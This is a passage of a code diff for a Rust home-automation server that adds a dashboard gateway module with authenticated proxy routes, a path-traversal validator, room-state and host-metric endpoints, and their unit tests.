# regardless of this opt-out. A real "no OpenSSL on the appliance" guarantee
|
||||
# requires every crate that pulls reqwest to align on rustls-only (tracked in
|
||||
# CHANGELOG / ADR-131 security note).
|
||||
reqwest = { version = "0.12", default-features = false, features = ["json", "rustls-tls"] }
|
||||
serde = { version = "1", features = ["derive"] }
|
||||
# Concurrent fan-out of per-bank RoomState fetches in the gateway (§11 perf).
|
||||
futures = "0.3"
|
||||
|
||||
[dev-dependencies]
|
||||
# Drive the assembled router in integration tests via ServiceExt::oneshot.
|
||||
tower = { version = "0.5", features = ["util"] }
|
||||
http-body-util = "0.1"
|
||||
|
||||
[features]
|
||||
default = []
|
||||
|
||||
@@ -116,6 +116,29 @@ export RUST_LOG="homecore=debug,homecore_api=info"
|
||||
| `--db` | `HOMECORE_DB` | `sqlite::memory:` | SQLite path (`:memory:` for ephemeral) |
|
||||
| `--location-name` | `HOMECORE_LOCATION` | `Home` | Friendly name returned by `/api/config` |
|
||||
| `--no-recorder` | — | off | Disable SQLite recorder (low-resource deployments) |
|
||||
| `--ui-dir` | `HOMECORE_UI_DIR` | `<crate>/ui` | HOMECORE-UI asset dir served at `/homecore` (ADR-131); empty disables the mount |
|
||||
|
||||
## HOMECORE-UI dashboard (ADR-131)
|
||||
|
||||
This binary also serves the **HOMECORE-UI** — the complete operational dashboard
|
||||
for the two-tier Cognitum stack (v0 Appliance → SEEDs → ESP32 nodes) — at
|
||||
`/homecore`, alongside the HA-compat `/api` surface. It is a zero-dependency,
|
||||
no-build-step vanilla TS/JS + CSS frontend living in `ui/`:
|
||||
|
||||
```bash
|
||||
cargo run -p homecore-server # then open http://localhost:8123/homecore/
|
||||
```
|
||||
|
||||
It drives the live `/api` + `/api/websocket` (`subscribe_events`) endpoints; panels
|
||||
backed by services not in this binary (SEED HTTPS API, calibration ADR-151,
|
||||
federation ADR-105) render against a DEMO-flagged contract-conformant mock until
|
||||
those endpoints land (ADR-131 §7.1). Frontend tests + benchmark run under plain
|
||||
`node` (no `npm install`):
|
||||
|
||||
```bash
|
||||
cd ui && npm test # import graph + render-smoke + interaction (24 checks)
|
||||
cd ui && npm run bench # bundle budget (~137 KB, ~37× smaller than HA) + render timing
|
||||
```
|
||||
|
||||
## Comparison to Home Assistant
|
||||
|
||||
|
||||
@@ -0,0 +1,758 @@
|
||||
//! HOMECORE-UI backend-for-frontend (BFF) gateway — ADR-131 §11.
|
||||
//!
|
||||
//! `homecore-server` is the single origin the dashboard talks to (§2.1).
|
||||
//! This module adds the `/api/homecore/*` aggregation namespace and the
|
||||
//! `/api/cal/*` reverse-proxy to the calibration service, so the browser
|
||||
//! never makes a cross-origin call and never holds an upstream credential.
|
||||
//!
|
||||
//! Implemented now (self-contained, no new external service):
|
||||
//! * `/api/cal/*` — reverse-proxy → calibration API (ADR-151) [W2]
|
||||
//! * `GET /api/homecore/rooms` — per-room RoomState, adapted to the UI shape [W2]
|
||||
//! * `GET /api/homecore/cogs` — COG supervisor over the apps dir [W4]
|
||||
//! * `GET /api/homecore/appliance` — host metrics from /proc + port probes [W6]
|
||||
//!
|
||||
//! Returns a typed `503 upstream_unavailable` for routes whose upstream is
|
||||
//! a SEED device / appliance daemon not present in this repo (§11.2 / §12):
|
||||
//! seeds, federation, witness, privacy, settings, automations, events
|
||||
//! history, hailo, tokens. The front-end renders these as error states
|
||||
//! (it never falls back to mock in production — §2.2).
|
||||
//!
|
||||
//! NOTE: written against the real crate APIs but NOT yet compiled in the
|
||||
//! authoring environment (no Rust toolchain); run `cargo test -p
|
||||
//! homecore-server` on a Rust host.
|
||||
|
||||
use std::path::PathBuf;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
|
||||
use axum::body::Bytes;
|
||||
use axum::extract::{Path, RawQuery, State};
|
||||
use axum::http::{header, HeaderMap, HeaderValue, StatusCode};
|
||||
use axum::response::{IntoResponse, Response};
|
||||
use axum::routing::get;
|
||||
use axum::{Json, Router};
|
||||
use serde_json::{json, Value};
|
||||
|
||||
use homecore_api::auth::BearerAuth;
|
||||
use homecore_api::SharedState;
|
||||
|
||||
/// Static gateway configuration (from CLI/env in `main`).
|
||||
pub struct GatewayConfig {
|
||||
/// Base URL of the calibration service (`wifi-densepose calibrate-serve`),
|
||||
/// e.g. `http://127.0.0.1:8090`. `None` disables the calibration routes.
|
||||
pub calibration_url: Option<String>,
|
||||
/// Bearer token for the calibration service (held server-side only).
|
||||
pub calibration_token: Option<String>,
|
||||
/// COG install directory the supervisor reads (`/var/lib/cognitum/apps`).
|
||||
pub apps_dir: PathBuf,
|
||||
/// Per-proxy timeout so one slow upstream cannot stall the dashboard.
|
||||
pub timeout: Duration,
|
||||
}
|
||||
|
||||
#[derive(Clone)]
|
||||
pub struct GatewayState {
|
||||
pub shared: SharedState,
|
||||
pub http: reqwest::Client,
|
||||
pub cfg: Arc<GatewayConfig>,
|
||||
}
|
||||
|
||||
impl GatewayState {
|
||||
pub fn new(shared: SharedState, cfg: GatewayConfig) -> Self {
|
||||
let http = reqwest::Client::builder()
|
||||
.timeout(cfg.timeout)
|
||||
.build()
|
||||
.unwrap_or_else(|_| reqwest::Client::new());
|
||||
Self { shared, http, cfg: Arc::new(cfg) }
|
||||
}
|
||||
}
|
||||
|
||||
/// Build the gateway router (state already applied → `Router<()>`), ready
|
||||
/// to `.merge()` into the main app alongside the homecore-api routes.
|
||||
pub fn gateway_router(state: GatewayState) -> Router {
|
||||
Router::new()
|
||||
// ── calibration reverse-proxy (W2) ──────────────────────────
|
||||
.route("/api/cal/*path", get(cal_proxy_get).post(cal_proxy_post))
|
||||
// ── aggregation endpoints (W2 / W4 / W6) ────────────────────
|
||||
.route("/api/homecore/rooms", get(rooms))
|
||||
.route("/api/homecore/cogs", get(cogs_list))
|
||||
.route("/api/homecore/appliance", get(appliance))
|
||||
// ── upstream-dependent stubs (W3 / W5 / W6): typed 503 ───────
|
||||
.route("/api/homecore/seeds", get(stub_503))
|
||||
.route("/api/homecore/seeds/:id", get(stub_503))
|
||||
.route("/api/homecore/federation", get(stub_503))
|
||||
.route("/api/homecore/witness", get(stub_503))
|
||||
.route("/api/homecore/privacy", get(stub_503).post(stub_503))
|
||||
.route("/api/homecore/settings", get(stub_503))
|
||||
.route("/api/homecore/automations", get(stub_503).post(stub_503))
|
||||
// No OTA feed wired yet → "no updates available" is an empty list,
|
||||
// not an error (so a working COG list is never blanked).
|
||||
.route("/api/homecore/cogs/updates", get(empty_list))
|
||||
.route("/api/homecore/hailo", get(stub_503))
|
||||
.route("/api/homecore/tokens", get(stub_503))
|
||||
.route("/api/events", get(stub_503))
|
||||
.with_state(state)
|
||||
}
|
||||
|
||||
// ── auth + typed errors ─────────────────────────────────────────────
|
||||
|
||||
async fn require_auth(headers: &HeaderMap, st: &GatewayState) -> Result<(), Response> {
|
||||
BearerAuth::from_headers(headers, st.shared.tokens())
|
||||
.await
|
||||
.map(|_| ())
|
||||
.map_err(|e| e.into_response())
|
||||
}
|
||||
|
||||
fn typed(status: StatusCode, error: &str, detail: &str) -> Response {
|
||||
(status, Json(json!({ "error": error, "detail": detail }))).into_response()
|
||||
}
|
||||
fn upstream_unavailable(detail: &str) -> Response {
|
||||
typed(StatusCode::SERVICE_UNAVAILABLE, "upstream_unavailable", detail)
|
||||
}
|
||||
fn upstream_timeout(detail: &str) -> Response {
|
||||
typed(StatusCode::GATEWAY_TIMEOUT, "upstream_timeout", detail)
|
||||
}
|
||||
fn bad_request(detail: &str) -> Response {
|
||||
typed(StatusCode::BAD_REQUEST, "bad_request", detail)
|
||||
}
|
||||
|
||||
/// Reject a proxied wildcard path that could escape the `/api/` scope on the
|
||||
/// upstream calibration service (path-traversal / confused-deputy SSRF —
|
||||
/// ADR-131 §11 security review). The privileged server-side calibration bearer
|
||||
/// is attached by `proxy()`, so a client must NOT be able to redirect that
|
||||
/// credential outside `…/api/`.
|
||||
///
|
||||
/// Returns `Err(400)` when the path (or its percent-decoded form):
|
||||
/// * is absolute (`/…`) — would replace the `…/api/` base entirely,
|
||||
/// * contains a backslash (`\`) — Windows/alt-separator traversal,
|
||||
/// * has any segment equal to `.` or `..` — dot-segment traversal,
|
||||
/// * still carries `%2e%2e` / `%2f` (single-decode is enough — we reject on
|
||||
/// the decoded form AND on a residual encoded marker, so double-encoding
|
||||
/// like `%252e` decodes once to `%2e` and is caught here).
|
||||
///
|
||||
/// Legitimate `v1/...` paths (the only shape the UI sends) pass unchanged.
|
||||
fn validate_proxy_path(path: &str) -> Result<(), Response> {
|
||||
// 1. Reject on the raw form first (cheap; catches backslash + leading `/`).
|
||||
if path.starts_with('/') {
|
||||
return Err(bad_request("proxied path must be relative (leading '/' not allowed)"));
|
||||
}
|
||||
if path.contains('\\') {
|
||||
return Err(bad_request("proxied path must not contain a backslash"));
|
||||
}
|
||||
// 2. Percent-decode once and re-check; reject if decoding is invalid.
|
||||
let decoded = percent_decode_once(path)
|
||||
.ok_or_else(|| bad_request("proxied path has invalid percent-encoding"))?;
|
||||
if decoded.starts_with('/') || decoded.contains('\\') {
|
||||
return Err(bad_request("proxied path resolves to an absolute/traversal path"));
|
||||
}
|
||||
// 3. Reject any `.`/`..` segment on BOTH the raw and decoded forms so an
|
||||
// encoded `%2e%2e%2f` cannot slip a dot-segment past the split.
|
||||
for form in [path, decoded.as_str()] {
|
||||
for seg in form.split(['/', '\\']) {
|
||||
if seg == "." || seg == ".." {
|
||||
return Err(bad_request("proxied path must not contain '.' or '..' segments"));
|
||||
}
|
||||
}
|
||||
// Defence in depth: a residual encoded traversal marker survived the
|
||||
// single decode (e.g. originally double-encoded). Reject it outright.
|
||||
let lower = form.to_ascii_lowercase();
|
||||
if lower.contains("%2e") || lower.contains("%2f") || lower.contains("%5c") {
|
||||
return Err(bad_request("proxied path must not contain encoded traversal markers"));
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Minimal single-pass percent-decoder (no external dep). Returns `None` on a
|
||||
/// malformed escape so callers can fail closed.
|
||||
fn percent_decode_once(s: &str) -> Option<String> {
|
||||
let bytes = s.as_bytes();
|
||||
let mut out: Vec<u8> = Vec::with_capacity(bytes.len());
|
||||
let mut i = 0;
|
||||
while i < bytes.len() {
|
||||
match bytes[i] {
|
||||
b'%' => {
|
||||
if i + 2 >= bytes.len() {
|
||||
return None;
|
||||
}
|
||||
let hi = (bytes[i + 1] as char).to_digit(16)?;
|
||||
let lo = (bytes[i + 2] as char).to_digit(16)?;
|
||||
out.push((hi * 16 + lo) as u8);
|
||||
i += 3;
|
||||
}
|
||||
b => {
|
||||
out.push(b);
|
||||
i += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
String::from_utf8(out).ok()
|
||||
}
|
||||
|
||||
/// Routes whose upstream is a SEED device / appliance daemon not present
|
||||
/// in this repo. Honest 503 until the corresponding §12 wave lands.
|
||||
async fn stub_503(State(st): State<GatewayState>, headers: HeaderMap) -> Response {
|
||||
if let Err(r) = require_auth(&headers, &st).await {
|
||||
return r;
|
||||
}
|
||||
upstream_unavailable("endpoint not yet wired — see ADR-131 §11/§12 (SEED device / appliance upstream)")
|
||||
}
|
||||
|
||||
/// Auth-gated empty-array response (e.g. OTA updates with no feed wired).
|
||||
async fn empty_list(State(st): State<GatewayState>, headers: HeaderMap) -> Response {
|
||||
if let Err(r) = require_auth(&headers, &st).await {
|
||||
return r;
|
||||
}
|
||||
Json(Vec::<Value>::new()).into_response()
|
||||
}
|
||||
|
||||
// ── calibration reverse-proxy (W2) ──────────────────────────────────
|
||||
|
||||
async fn cal_proxy_get(
|
||||
State(st): State<GatewayState>,
|
||||
headers: HeaderMap,
|
||||
Path(path): Path<String>,
|
||||
RawQuery(q): RawQuery,
|
||||
) -> Response {
|
||||
if let Err(r) = require_auth(&headers, &st).await {
|
||||
return r;
|
||||
}
|
||||
if let Err(r) = validate_proxy_path(&path) {
|
||||
return r;
|
||||
}
|
||||
let base = match &st.cfg.calibration_url {
|
||||
Some(u) => u,
|
||||
None => return upstream_unavailable("calibration service not configured (set --calibration-url / HOMECORE_CALIBRATION_URL)"),
|
||||
};
|
||||
let qs = q.map(|s| format!("?{s}")).unwrap_or_default();
|
||||
// The wildcard already carries the `v1/...` segment (the UI calls
|
||||
// `/api/cal/v1/...`), so map `/api/cal/<rest>` → `<base>/api/<rest>`.
|
||||
let url = format!("{}/api/{}{}", base.trim_end_matches('/'), path, qs);
|
||||
proxy(&st, st.http.get(&url)).await
|
||||
}
|
||||
|
||||
async fn cal_proxy_post(
|
||||
State(st): State<GatewayState>,
|
||||
headers: HeaderMap,
|
||||
Path(path): Path<String>,
|
||||
body: Bytes,
|
||||
) -> Response {
|
||||
if let Err(r) = require_auth(&headers, &st).await {
|
||||
return r;
|
||||
}
|
||||
if let Err(r) = validate_proxy_path(&path) {
|
||||
return r;
|
||||
}
|
||||
let base = match &st.cfg.calibration_url {
|
||||
Some(u) => u,
|
||||
None => return upstream_unavailable("calibration service not configured (set --calibration-url / HOMECORE_CALIBRATION_URL)"),
|
||||
};
|
||||
let url = format!("{}/api/{}", base.trim_end_matches('/'), path);
|
||||
let rb = st
|
||||
.http
|
||||
.post(&url)
|
||||
.header(header::CONTENT_TYPE, "application/json")
|
||||
.body(body);
|
||||
proxy(&st, rb).await
|
||||
}
|
||||
|
||||
/// Send an upstream request (with the server-side calibration token) and
|
||||
/// stream the response back verbatim, mapping transport failures to typed
|
||||
/// errors.
|
||||
async fn proxy(st: &GatewayState, mut rb: reqwest::RequestBuilder) -> Response {
|
||||
if let Some(tok) = &st.cfg.calibration_token {
|
||||
rb = rb.bearer_auth(tok);
|
||||
}
|
||||
match rb.send().await {
|
||||
Ok(resp) => {
|
||||
let status = StatusCode::from_u16(resp.status().as_u16()).unwrap_or(StatusCode::BAD_GATEWAY);
|
||||
let ct = resp
|
||||
.headers()
|
||||
.get(reqwest::header::CONTENT_TYPE)
|
||||
.and_then(|v| v.to_str().ok())
|
||||
.unwrap_or("application/json")
|
||||
.to_string();
|
||||
match resp.bytes().await {
|
||||
Ok(b) => {
|
||||
let mut out = Response::new(axum::body::Body::from(b));
|
||||
*out.status_mut() = status;
|
||||
if let Ok(hv) = HeaderValue::from_str(&ct) {
|
||||
out.headers_mut().insert(header::CONTENT_TYPE, hv);
|
||||
}
|
||||
out
|
||||
}
|
||||
Err(e) => upstream_unavailable(&format!("calibration body read failed: {e}")),
|
||||
}
|
||||
}
|
||||
Err(e) if e.is_timeout() => upstream_timeout("calibration service timed out"),
|
||||
Err(e) => upstream_unavailable(&format!("calibration service: {e}")),
|
||||
}
|
||||
}
|
||||
|
||||
async fn fetch_json(st: &GatewayState, url: &str) -> Result<Value, Response> {
|
||||
let mut rb = st.http.get(url);
|
||||
if let Some(tok) = &st.cfg.calibration_token {
|
||||
rb = rb.bearer_auth(tok);
|
||||
}
|
||||
match rb.send().await {
|
||||
Ok(resp) => resp
|
||||
.json::<Value>()
|
||||
.await
|
||||
.map_err(|e| upstream_unavailable(&format!("calibration JSON parse: {e}"))),
|
||||
Err(e) if e.is_timeout() => Err(upstream_timeout("calibration service timed out")),
|
||||
Err(e) => Err(upstream_unavailable(&format!("calibration service: {e}"))),
|
||||
}
|
||||
}
|
||||
|
||||
// ── rooms aggregation + RoomState adapter (W2 / §11.3) ──────────────
|
||||
|
||||
async fn rooms(State(st): State<GatewayState>, headers: HeaderMap) -> Response {
|
||||
if let Err(r) = require_auth(&headers, &st).await {
|
||||
return r;
|
||||
}
|
||||
let base = match &st.cfg.calibration_url {
|
||||
Some(u) => u.trim_end_matches('/').to_string(),
|
||||
None => return upstream_unavailable("calibration service not configured"),
|
||||
};
|
||||
let banks = match fetch_json(&st, &format!("{base}/api/v1/calibration/baselines")).await {
|
||||
Ok(v) => bank_names(&v),
|
||||
Err(r) => return r,
|
||||
};
|
||||
// Fetch every bank's RoomState concurrently (§11 perf): one slow bank no
|
||||
// longer serialises behind the others. Order is preserved by collecting in
|
||||
// the original bank order.
|
||||
let fetches = banks.into_iter().map(|bank| {
|
||||
let st = &st;
|
||||
let base = base.as_str();
|
||||
async move {
|
||||
let url = format!("{base}/api/v1/room/state?bank={bank}");
|
||||
fetch_json(st, &url).await.ok().map(|v| adapt_room_state(&bank, &v))
|
||||
}
|
||||
});
|
||||
let out: Vec<Value> = futures::future::join_all(fetches)
|
||||
.await
|
||||
.into_iter()
|
||||
.flatten()
|
||||
.collect();
|
||||
Json(out).into_response()
|
||||
}
|
||||
|
||||
/// Accept either `["living_room", ...]` or `[{ "name"|"id"|"bank": ... }]`.
|
||||
fn bank_names(v: &Value) -> Vec<String> {
|
||||
match v {
|
||||
Value::Array(items) => items
|
||||
.iter()
|
||||
.filter_map(|it| match it {
|
||||
Value::String(s) => Some(s.clone()),
|
||||
Value::Object(o) => o
|
||||
.get("name")
|
||||
.or_else(|| o.get("id"))
|
||||
.or_else(|| o.get("bank"))
|
||||
.and_then(|x| x.as_str())
|
||||
.map(str::to_string),
|
||||
_ => None,
|
||||
})
|
||||
.collect(),
|
||||
Value::Object(o) => o
|
||||
.get("baselines")
|
||||
.map(|b| bank_names(b))
|
||||
.unwrap_or_default(),
|
||||
_ => Vec::new(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Adapt the calibration `RoomState` (Option<SpecialistReading> fields +
|
||||
/// `vetoed`/`stale`) onto the UI shape (§11.3). `None` → JSON `null`,
|
||||
/// preserving the not-trained-vs-withheld distinction (§6 invariant 3).
|
||||
fn adapt_room_state(bank: &str, v: &Value) -> Value {
|
||||
let chip = |k: &str| -> Value {
|
||||
match v.get(k) {
|
||||
Some(r) if !r.is_null() => json!({
|
||||
"value": r.get("label").and_then(|l| l.as_str()).map(Value::from)
|
||||
.unwrap_or_else(|| r.get("value").cloned().unwrap_or(Value::Null)),
|
||||
"confidence": r.get("confidence").cloned().unwrap_or(Value::Null),
|
||||
}),
|
||||
_ => Value::Null,
|
||||
}
|
||||
};
|
||||
let bpm = |k: &str| -> Value {
|
||||
match v.get(k) {
|
||||
Some(r) if !r.is_null() => json!({
|
||||
"value": r.get("value").cloned().unwrap_or(Value::Null),
|
||||
"confidence": r.get("confidence").cloned().unwrap_or(Value::Null),
|
||||
}),
|
||||
_ => Value::Null,
|
||||
}
|
||||
};
|
||||
let anomaly = match v.get("anomaly") {
|
||||
Some(r) if !r.is_null() => json!({
|
||||
"value": r.get("value").cloned().unwrap_or(Value::Null),
|
||||
"confidence": r.get("confidence").cloned().unwrap_or(Value::Null),
|
||||
// §6 invariant 3 (honesty): pass through the REAL anomaly threshold
|
||||
// from the upstream RoomState if present; if absent, emit null
|
||||
// (withheld) — never fabricate a constant. The UI treats null as
|
||||
// withheld, not a fake default.
|
||||
"threshold": r.get("threshold").cloned().unwrap_or(Value::Null),
|
||||
}),
|
||||
_ => Value::Null,
|
||||
};
|
||||
json!({
|
||||
"room_id": bank,
|
||||
"seeds": [],
|
||||
"stale": v.get("stale").and_then(|b| b.as_bool()).unwrap_or(false),
|
||||
"vetoed": v.get("vetoed").and_then(|b| b.as_bool()).unwrap_or(false),
|
||||
"presence": chip("presence"),
|
||||
"posture": chip("posture"),
|
||||
"breathing_bpm": bpm("breathing"),
|
||||
"heart_bpm": bpm("heartbeat"),
|
||||
"restlessness": bpm("restlessness"),
|
||||
"anomaly": anomaly,
|
||||
})
|
||||
}
|
||||
|
||||
// ── COG supervisor (W4 / §11.6) ─────────────────────────────────────
|
||||
|
||||
async fn cogs_list(State(st): State<GatewayState>, headers: HeaderMap) -> Response {
|
||||
if let Err(r) = require_auth(&headers, &st).await {
|
||||
return r;
|
||||
}
|
||||
let mut out: Vec<Value> = Vec::new();
|
||||
let rd = match std::fs::read_dir(&st.cfg.apps_dir) {
|
||||
Ok(rd) => rd,
|
||||
Err(_) => return Json(out).into_response(), // no apps dir yet → empty
|
||||
};
|
||||
for entry in rd.flatten() {
|
||||
let dir = entry.path();
|
||||
if !dir.is_dir() {
|
||||
continue;
|
||||
}
|
||||
let manifest = match std::fs::read_to_string(dir.join("manifest.json")) {
|
||||
Ok(s) => s,
|
||||
Err(_) => continue,
|
||||
};
|
||||
let m: Value = match serde_json::from_str(&manifest) {
|
||||
Ok(v) => v,
|
||||
Err(_) => continue,
|
||||
};
|
||||
let id = m
|
||||
.get("id")
|
||||
.and_then(|x| x.as_str())
|
||||
.unwrap_or_else(|| dir.file_name().and_then(|n| n.to_str()).unwrap_or("?"))
|
||||
.to_string();
|
||||
let pid = read_pid(&dir, &id);
|
||||
let alive = pid.map(pid_alive).unwrap_or(false);
|
||||
let status = if alive { "running" } else { "stopped" };
|
||||
out.push(json!({
|
||||
"id": id,
|
||||
"version": m.get("version").and_then(|x| x.as_str()).unwrap_or("?"),
|
||||
"arch": m.get("arch").and_then(|x| x.as_str()).unwrap_or("arm"),
|
||||
"status": status,
|
||||
"pid": pid,
|
||||
"sha256_verified": m.get("binary_sha256").is_some(),
|
||||
"signature_verified": m.get("binary_signature").is_some(),
|
||||
"hef": m.get("hef").cloned().unwrap_or(Value::Null),
|
||||
}));
|
||||
}
|
||||
Json(out).into_response()
|
||||
}
|
||||
|
||||
fn read_pid(dir: &std::path::Path, id: &str) -> Option<i64> {
|
||||
for name in [format!("{id}.pid"), "pid".to_string(), "app.pid".to_string()] {
|
||||
if let Ok(s) = std::fs::read_to_string(dir.join(&name)) {
|
||||
if let Ok(p) = s.trim().parse::<i64>() {
|
||||
return Some(p);
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
fn pid_alive(pid: i64) -> bool {
|
||||
if pid <= 0 {
|
||||
return false;
|
||||
}
|
||||
std::path::Path::new(&format!("/proc/{pid}")).exists()
|
||||
}
|
||||
|
||||
// ── appliance metrics (W6 / §11.5) ──────────────────────────────────
|
||||
|
||||
async fn appliance(State(st): State<GatewayState>, headers: HeaderMap) -> Response {
|
||||
if let Err(r) = require_auth(&headers, &st).await {
|
||||
return r;
|
||||
}
|
||||
let ram = mem_used_pct();
|
||||
let cpu = cpu_load_pct();
|
||||
let uptime = uptime_secs();
|
||||
// Probe the appliance services concurrently with a non-blocking async
|
||||
// connect under a timeout (§11 perf): previously a sequential blocking
|
||||
// `std::net::TcpStream::connect_timeout` stalled the whole async handler
|
||||
// for up to `N * timeout` and parked a Tokio worker thread per probe.
|
||||
let probes = [
|
||||
("ruview-mcp-brain", 9876u16),
|
||||
("cognitum-rvf-agent", 9004),
|
||||
("ruvector-hailo-worker", 50051),
|
||||
]
|
||||
.into_iter()
|
||||
.map(|(name, port)| {
|
||||
let timeout = st.cfg.timeout;
|
||||
async move {
|
||||
let up = tcp_open("127.0.0.1", port, timeout).await;
|
||||
json!({ "name": name, "port": port, "status": if up { "running" } else { "unreachable" } })
|
||||
}
|
||||
});
|
||||
let services: Vec<Value> = futures::future::join_all(probes).await;
|
||||
Json(json!({
|
||||
"cpu_pct": cpu,
|
||||
"ram_pct": ram,
|
||||
"hailo_load_pct": Value::Null, // requires the Hailo runtime stat source (§11.5 APPLIANCE)
|
||||
"hailo_temp_c": Value::Null,
|
||||
"uptime_s": uptime,
|
||||
"services": services,
|
||||
"event_rate": [],
|
||||
"channel_capacity": 4096,
|
||||
"channel_lag": 0,
|
||||
}))
|
||||
.into_response()
|
||||
}
|
||||
|
||||
fn read_first_line(path: &str) -> Option<String> {
|
||||
std::fs::read_to_string(path).ok().and_then(|s| s.lines().next().map(str::to_string))
|
||||
}
|
||||
|
||||
fn uptime_secs() -> Option<u64> {
|
||||
read_first_line("/proc/uptime")
|
||||
.and_then(|l| l.split_whitespace().next().map(str::to_string))
|
||||
.and_then(|s| s.parse::<f64>().ok())
|
||||
.map(|f| f as u64)
|
||||
}
|
||||
|
||||
fn mem_used_pct() -> Option<f64> {
|
||||
let txt = std::fs::read_to_string("/proc/meminfo").ok()?;
|
||||
let mut total = 0f64;
|
||||
let mut avail = 0f64;
|
||||
for line in txt.lines() {
|
||||
let mut it = line.split_whitespace();
|
||||
match it.next() {
|
||||
Some("MemTotal:") => total = it.next().and_then(|v| v.parse().ok()).unwrap_or(0.0),
|
||||
Some("MemAvailable:") => avail = it.next().and_then(|v| v.parse().ok()).unwrap_or(0.0),
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
if total > 0.0 {
|
||||
Some(((total - avail) / total * 100.0 * 10.0).round() / 10.0)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
fn cpu_load_pct() -> Option<f64> {
|
||||
// loadavg(1m) / ncpu * 100 — a cheap proxy (no two-sample /proc/stat).
|
||||
let load = read_first_line("/proc/loadavg")?
|
||||
.split_whitespace()
|
||||
.next()?
|
||||
.parse::<f64>()
|
||||
.ok()?;
|
||||
let ncpu = std::thread::available_parallelism().map(|n| n.get() as f64).unwrap_or(1.0);
|
||||
Some(((load / ncpu * 100.0).min(100.0) * 10.0).round() / 10.0)
|
||||
}
|
||||
|
||||
/// Non-blocking liveness probe: succeeds iff a TCP connection to
|
||||
/// `host:port` completes within `timeout`. Async so it never parks a Tokio
|
||||
/// worker thread (unlike the blocking `std::net` connect it replaced).
|
||||
async fn tcp_open(host: &str, port: u16, timeout: Duration) -> bool {
|
||||
let addr = format!("{host}:{port}");
|
||||
matches!(
|
||||
tokio::time::timeout(timeout, tokio::net::TcpStream::connect(&addr)).await,
|
||||
Ok(Ok(_))
|
||||
)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use axum::body::Body;
|
||||
use axum::http::Request;
|
||||
use homecore::HomeCore;
|
||||
use homecore_api::{LongLivedTokenStore, SharedState};
|
||||
use tower::ServiceExt;
|
||||
|
||||
fn gw() -> GatewayState {
|
||||
let shared = SharedState::with_tokens(
|
||||
HomeCore::new(),
|
||||
"Test",
|
||||
"test",
|
||||
LongLivedTokenStore::allow_any_non_empty(),
|
||||
);
|
||||
GatewayState::new(
|
||||
shared,
|
||||
GatewayConfig {
|
||||
calibration_url: None,
|
||||
calibration_token: None,
|
||||
apps_dir: PathBuf::from("/nonexistent-apps-dir"),
|
||||
timeout: Duration::from_millis(200),
|
||||
},
|
||||
)
|
||||
}
|
||||
|
||||
async fn send(app: Router, method: &str, path: &str) -> (StatusCode, String) {
|
||||
let resp = app
|
||||
.oneshot(
|
||||
Request::builder()
|
||||
.method(method)
|
||||
.uri(path)
|
||||
.header("authorization", "Bearer dev")
|
||||
.body(Body::empty())
|
||||
.unwrap(),
|
||||
)
|
||||
.await
|
||||
.unwrap();
|
||||
let status = resp.status();
|
||||
let b = axum::body::to_bytes(resp.into_body(), 1 << 20).await.unwrap();
|
||||
(status, String::from_utf8_lossy(&b).into_owned())
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn unauthenticated_is_rejected() {
|
||||
let app = gateway_router(gw());
|
||||
let resp = app
|
||||
.oneshot(Request::builder().uri("/api/homecore/cogs").body(Body::empty()).unwrap())
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn cogs_returns_empty_when_apps_dir_missing() {
|
||||
let (status, body) = send(gateway_router(gw()), "GET", "/api/homecore/cogs").await;
|
||||
assert_eq!(status, StatusCode::OK);
|
||||
assert_eq!(body.trim(), "[]");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn rooms_503_when_calibration_unconfigured() {
|
||||
let (status, body) = send(gateway_router(gw()), "GET", "/api/homecore/rooms").await;
|
||||
assert_eq!(status, StatusCode::SERVICE_UNAVAILABLE);
|
||||
assert!(body.contains("upstream_unavailable"));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn seed_tier_routes_are_typed_503() {
|
||||
for p in ["/api/homecore/seeds", "/api/homecore/federation", "/api/homecore/witness", "/api/events"] {
|
||||
let (status, body) = send(gateway_router(gw()), "GET", p).await;
|
||||
assert_eq!(status, StatusCode::SERVICE_UNAVAILABLE, "{p} should be 503");
|
||||
assert!(body.contains("upstream_unavailable"), "{p} typed body");
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn appliance_returns_metrics_json() {
|
||||
let (status, body) = send(gateway_router(gw()), "GET", "/api/homecore/appliance").await;
|
||||
assert_eq!(status, StatusCode::OK);
|
||||
assert!(body.contains("\"services\""));
|
||||
assert!(body.contains("\"ram_pct\""));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn adapt_room_state_maps_fields_and_preserves_null() {
|
||||
// breathing/heartbeat rename; None → null; anomaly gets a threshold.
|
||||
let cal = json!({
|
||||
"presence": {"kind":"Presence","value":1.0,"confidence":0.9,"label":"occupied"},
|
||||
"posture": {"kind":"Posture","value":2.0,"confidence":0.8,"label":"lying"},
|
||||
"breathing": {"kind":"Breathing","value":12.0,"confidence":0.7,"label":null},
|
||||
"heartbeat": null,
|
||||
"restlessness": {"kind":"Restlessness","value":0.1,"confidence":0.6,"label":null},
|
||||
"anomaly": {"kind":"Anomaly","value":0.2,"confidence":0.5,"label":null},
|
||||
"vetoed": false, "stale": true
|
||||
});
|
||||
let ui = adapt_room_state("bedroom_1", &cal);
|
||||
assert_eq!(ui["room_id"], "bedroom_1");
|
||||
assert_eq!(ui["stale"], true);
|
||||
assert_eq!(ui["presence"]["value"], "occupied");
|
||||
assert_eq!(ui["breathing_bpm"]["value"], 12.0);
|
||||
assert!(ui["heart_bpm"].is_null(), "None heartbeat must map to null (not trained)");
|
||||
// §6 invariant 3: upstream RoomState carries no threshold here, so the
|
||||
// adapter must emit null (withheld) — NOT a fabricated constant.
|
||||
assert!(
|
||||
ui["anomaly"]["threshold"].is_null(),
|
||||
"absent upstream threshold must surface as null, never a hardcoded value"
|
